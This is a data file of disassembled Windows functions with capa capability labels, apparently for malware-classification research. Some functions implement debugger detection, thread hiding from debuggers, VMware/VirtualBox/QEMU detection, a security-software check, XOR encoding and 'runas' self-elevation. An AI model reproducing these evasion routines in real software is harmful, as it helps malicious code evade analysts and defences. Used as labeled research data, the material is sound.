joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007e70
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
je 0x140007e9a
test rdx, rdx
je 0x140007e9a
xor eax, eax
nop dword [rax]
mov r8, rax
and r8d, 0x1f
movzx r8d, byte [rdx + r8]
xor byte [rcx + rax], r8b
add rax, 1
cmp rax, 0x4c
jne 0x140007e80
ret

Function at 0x140007ea0
Capabilities:
Check for debugger via api

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rbx
test eax, eax
je 0x140007ec0
mov eax, 1
add rsp, 0x30
pop rbx
ret
call rbx
test eax, eax
jne 0x140007eb2
mov dword [rsp + 0x2c], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov edx, dword [rsp + 0x2c]
xor eax, eax
test edx, edx
setne al
add rsp, 0x30
pop rbx
ret

Function at 0x140007f20
Capabilities:
Terminate thread

Disassembly:
xor edx, edx
jmp qword [sym.imp.KERNEL32.dll_TerminateThread]

Function at 0x140007f60
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov rsi, rcx
mov rbx, rdx
mov edi, r8d
je 0x140007fb8
test rdx, rdx
je 0x140007fb8
lea rcx, [rdx + 1]
call sym.malloc
test rax, rax
je 0x140007fb8
xor ecx, ecx
nop word [rax + rax]
movzx r9d, byte [rsi + rcx]
xor r9d, edi
mov byte [rax + rcx], r9b
add rcx, 1
cmp rcx, rbx
jb 0x140007f90
mov byte [rax + rbx], 0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140007fd0
Capabilities:
Check for debugger via api
Get system information on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x70
mov ecx, 0x20
call sym.malloc
test rax, rax
mov rbx, rax
je 0x140008058
lea rsi, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
cmp dword [rsp + 0x60], 1
setbe al
mov dword [rbx], eax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008068
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, 1
mov dword [rbx + 4], eax
call sym.checkSecuritySoftware
mov qword [rbx + 0x10], 0
mov dword [rbx + 8], eax
mov dword [rbx + 0x18], 0
mov qword [rsp + 0x40], 0
call rdi
mov r8, rsi
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
mov esi, eax
jne 0x140008090
mov dword [rbx + 0x1c], esi
mov rax, rbx
add rsp, 0x70
pop rbx
pop rsi
pop rdi
ret
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x40], 0
call rdi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov eax, dword [rsp + 0x40]
jmp 0x140008019
lea rax, [rsp + 0x3c]
mov rcx, qword [rsp + 0x40]
mov edx, 0x14
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x38]
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
mov esi, eax
je 0x1400080c7
mov esi, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008055
Function at 0x1400080e0
Capabilities:
Terminate process

Disassembly:
push rdi
push rbx
sub rsp, 0x1a8
xor ecx, ecx
mov r8d, 0x104
lea rbx, [rsp + 0x90]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140008118
xor eax, eax
add rsp, 0x1a8
pop rbx
pop rdi
ret
xor eax, eax
mov ecx, 0xd
movq xmm1, rbx
lea rdi, [rsp + 0x28]
rep stosq qword [rdi], rax
lea rax, str.runas
lea rcx, [rsp + 0x20]
movq xmm0, rax
mov rax, qword [0x14000d000]
punpcklqdq xmm0, xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140008106
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14000816f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140008190
Capabilities:
Hide thread from debugger

Disassembly:
push rbx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
lea rdx, str.System_Service
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowTextA]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140008210
lea rdx, str.NtSetInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov rbx, rax
je 0x140008210
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x11
mov rcx, rax
mov rax, rbx
add rsp, 0x20
pop rbx
jmp rax
add rsp, 0x20
pop rbx
ret

Function at 0x140008220
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rbx
sub rsp, 0x458
xor eax, eax
cpuid
movd xmm0, ebx
movd xmm1, edx
mov esi, 1
mov qword [rsp + 0x45], 0
lea rbx, [rsp + 0x40]
mov dword [rsp + 0x48], ecx
punpckldq xmm0, xmm1
lea rdx, str.VMwareVMware
mov rcx, rbx
movq qword [rsp + 0x40], xmm0
call sym.strstr
test rax, rax
je 0x140008280
mov eax, esi
add rsp, 0x458
pop rbx
pop rsi
ret
lea rdx, str.Microsoft_Hv
mov rcx, rbx
call sym.strstr
test rax, rax
jne 0x14000826a
lea rdx, str.VBoxVBoxVBox
mov rcx, rbx
call sym.strstr
test rax, rax
jne 0x14000826a
lea rax, [rsp + 0x38]
xor r8d, r8d
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001ServicesDiskEnum
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov esi, eax
je 0x1400082e0
xor esi, esi
jmp 0x14000826a
lea rax, [rsp + 0x34]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
lea rbx, [rsp + 0x50]
mov dword [rsp + 0x34], 0x400
mov qword [rsp + 0x28], rax
lea rdx, [0x14000cfe0]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140008331
lea rdx, str.VMware
mov rcx, rbx
mov esi, 1
call sym.strstr
test rax, rax
je 0x140008341
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000826a
lea rdx, str.VBOX
mov rcx, rbx
call sym.strstr
test rax, rax
jne 0x140008331
lea rdx, str.QEMU
mov rcx, rbx
xor esi, esi
call sym.strstr
test rax, rax
setne sil
jmp 0x140008331
Function at 0x1400087f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140008860
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140010144]
test esi, esi
mov rbx, rcx
jle 0x140008990
mov rax, qword [0x140010148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400088ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140008935
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140008890
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x1400089b2
mov rax, qword [0x140010148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140010148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140008997
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000892e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140008940
add dword [0x140010144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140010148]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000892e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400088b8
mov rax, qword [0x140010148]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140008f20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400101a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140010180]
test rbx, rbx
je 0x140008f7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140008f73
test rsi, rsi
je 0x140008f73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008f58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140009190
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x1400091a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x1400091b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400091c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400091d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400091e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000922d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140009224
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000922f
add rax, 0x28
cmp rax, r9
jne 0x140009210
xor eax, eax
ret

Function at 0x140009230
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400092c0
mov rdx, qword [0x14000d420]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400092ae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400092ae
cmp word [rax + 0x18], 0x20b
jne 0x1400092ae
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400092c0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140009299
add rbx, 0x28
cmp rbx, rdi
je 0x1400092c0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140009290
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400092d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000d420]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400092f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400092f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400092f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000934d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140009344
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400092f0
add rax, 0x28
cmp rax, r9
jne 0x140009330
xor eax, eax
ret

Function at 0x140009350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000d420]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000936f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140009378
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000936f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140009390
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000d420]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400093b0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400093b8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400093b0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140009400
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400093f7
test rcx, rcx
je 0x1400093b0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400093e8
xor eax, eax
ret

Function at 0x140009410
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000d420]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000942f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140009438
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140009450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000d420]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140009470
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140009478
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140009470
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140009470
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400094c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400094d0
add rdx, 0x28
cmp r9, rdx
jne 0x1400094b0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400094e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000d420]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140009502
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140009510
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140009502
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140009502
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140009502
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140009565
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140009578
add rdx, 0x28
cmp rdx, r10
jne 0x140009550
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140009587
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140009597
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000956e
test ecx, ecx
jg 0x140009580
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000a0a0
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Encode data using xor
Get common file path
Terminate thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call sym.__main
call sym.__p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x14000a0eb
jmp 0x14000a161
test cl, cl
je 0x14000a118
and esi, 1
je 0x14000a100
mov esi, 1
call sym._ismbblead
test eax, eax
je 0x14000a0e7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x14000a0c8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x14000a0d6
test cl, cl
je 0x14000a118
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x14000a118
cmp al, 0x20
jle 0x14000a108
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [rsp + 0x5c], 1
mov r9d, 0xa
je 0x14000a146
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14000d420]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp sym.WinMain
lea rbx, [0x14000d010]
jmp 0x14000a118
Function at 0x180033960
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1800339bd
lea rbx, [0x18013f9a0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1800339a4
cmp r10, 2
jb 0x1800339a4
cmp byte [r9], r8b
jne 0x1800339a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180033980
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1800339ff
lea rbx, [0x18013f9a0]
cmp r8b, 0x23
jne 0x1800339e3
cmp byte [r9], r8b
jne 0x1800339e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1800339d0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180033b50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180033b6a
mov qword [r8], 0
lea rdx, [0x180181860]
call fcn.180033a10
mov rbx, rax
test rax, rax
jne 0x180033b8a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180033c75
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180033c75
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180033c75
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180033c75
cmp rdi, 0xffffffffffffffff
je 0x180033c75
mov rax, qword [0x180247068]
test rax, rax
je 0x180033c06
inc dword [rax + 0xec]
mov rdx, qword [0x180247060]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rax, rax
je 0x180033c75
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180033c62
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x180247068]
test rax, rax
je 0x180033c51
dec dword [rax + 0xec]
mov rdx, qword [0x180247060]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x180033c7e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x180033c70
mov qword [r14], rdi
mov rax, rsi
jmp 0x180033c80
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x180035880
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x18013f9a0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f50], ebx
jne 0x180035916
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.180048130
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x180041750
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1802453c8]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x180247068]
mov edi, ecx
cmp byte [rbx + 0x4ab1], 0
jne 0x1800417b1
cmp byte [rbx + 0x4ab2], 0
jne 0x1800417b1
movsx r9d, word [rbx + 0x5be2]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.180033850
test dil, 2
je 0x1800418df
jmp 0x18004183a
movss xmm1, dword [rbx + 0x3894]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5be2]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x180232410]
mulss xmm1, dword [0x1802323f0]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xe00]
addss xmm1, dword [rbx + 0xe04]
mov qword [rbx + 0x4800], rax
mov dword [rbx + 0x47ec], 1
movss dword [rbx + 0x47f8], xmm0
movss dword [rbx + 0x47fc], xmm1
movss xmm0, dword [rbx + 0x38fc]
mulss xmm0, dword [0x1802322b8]
or dword [rbx + 0x47e8], 0x41
movss dword [rbx + 0x4848], xmm0
call fcn.180033850
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x180041890
lea r11, [0x18013f9a0]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x180041873
cmp byte [r8], r9b
jne 0x180041873
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180041860
not ecx
call fcn.180038f50
test rax, rax
je 0x1800418df
cmp byte [rax + 0xb6], 0
je 0x1800418df
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5be2]
movsx r9d, word [rbx + 0x5be2]
call fcn.180033850
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.18003b8f0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180129de0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180046a00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5cd0], 0
lea rbx, [rcx + 0x5cd8]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180046aa7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x180046a5a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1800489e0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.180033fd0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5cd0]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5ce0]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x180247070]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x180046aaf
mov rcx, rbx
call fcn.180033fd0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180046f50
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x180247068]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x180046fb3
mov qword [rsp], rbx
lea rbx, [0x18013f9a0]
nop dword [rax]
cmp r9b, 0x23
jne 0x180046f93
cmp byte [r8], r9b
jne 0x180046f93
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x180046f80
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c40]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x180046fe7
mov r10, qword [r10 + 0x5c48]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x180046fee
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x180046fd4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret

Function at 0x180047270
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x180247068]
mov rbx, rcx
xor ecx, ecx
